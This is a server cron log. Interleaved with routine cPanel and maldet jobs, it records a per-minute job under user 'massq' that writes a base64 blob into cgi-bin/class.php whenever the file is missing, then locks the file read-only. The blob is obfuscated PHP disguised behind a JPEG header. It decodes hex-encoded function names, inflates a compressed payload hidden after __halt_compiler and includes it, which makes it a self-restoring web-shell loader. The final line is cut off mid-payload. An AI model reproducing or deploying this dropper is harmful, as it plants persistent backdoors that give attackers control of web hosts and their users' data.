Apr  6 12:03:01 server CROND[25067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:04:01 server CROND[25133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:05:01 server CROND[25188]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 12:05:01 server CROND[25190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:05:01 server CROND[25191]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 12:05:01 server CROND[25189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 12:06:01 server CROND[25309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:07:01 server CROND[25376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:08:01 server CROND[25523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:09:01 server CROND[25584]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 12:09:01 server CROND[25585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:10:01 server CROND[25656]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 12:10:01 server CROND[25657]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 12:10:01 server CROND[25658]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 12:10:01 server CROND[25659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:11:01 server CROND[25900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:12:01 server CROND[26005]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 12:12:01 server CROND[26006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:13:01 server CROND[26174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:14:01 server CROND[26233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:15:01 server CROND[26291]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 12:15:01 server CROND[26293]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  6 12:15:01 server CROND[26294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 12:15:01 server CROND[26295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:15:01 server CROND[26301]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  6 12:16:01 server CROND[26415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVR